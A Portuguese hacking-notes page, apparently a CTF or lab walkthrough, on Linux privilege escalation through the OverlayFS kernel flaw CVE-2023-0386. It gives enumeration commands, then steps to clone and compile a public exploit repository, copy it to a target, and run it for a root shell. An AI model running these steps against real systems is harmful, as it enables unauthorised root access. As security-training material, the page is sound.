> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/kernel-exploitation/overlayfs-kernel-exploit-linux-privilege-escalation.md).

# Exploração do kernel (OverlayFS) - Escalada de privilégios no Linux

## O que é

A escalada de privilégios no kernel tem como alvo vulnerabilidades locais no kernel do Linux ou em patches específicos da distribuição. Esses exploits podem ser instáveis, então a validação da versão e os testes em laboratório são importantes antes da execução. Esta página específica foca em **Exploração de Kernel (OverlayFS)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
uname -a
cat /etc/os-release
lsb_release -a 2>/dev/null
```

## Exemplos

## Escalada de Privilégios OverlayFS CVE-2023-0386

> O OverlayFS permite sobrepor sistemas de arquivos. Em algumas versões do kernel Linux, o gerenciamento inadequado de capacidades permite que um usuário sem privilégios execute código com **privilégios de root**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**Etapas da operação**

1. **Clonar o exploit** a partir da nossa máquina local:

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **Transfira os** arquivos compilados para a máquina-alvo (`scp`, `python -m http.server` etc.).

<figure><img src="/files/0271e966de4a1998dee596eb97978310829bef69" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/db3e960708a8a322fda73d8d96f366197c131742" alt=""><figcaption></figcaption></figure>

2. **Na máquina-alvo**, execute em **dois terminais**:

* Terminal A :

```bash
./fuse ./ovlcap/lower ./gc
```

* Terminal B :

```bash
./exp
```

Se tudo correr bem, obtemos um shell **root**

<figure><img src="/files/fd52833436be07c2eddaaee45f33720bfbdec291" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/b2392d600a6a5026df69cb9cfe4272da6bf86d5c" alt="" width="563"><figcaption></figcaption></figure>


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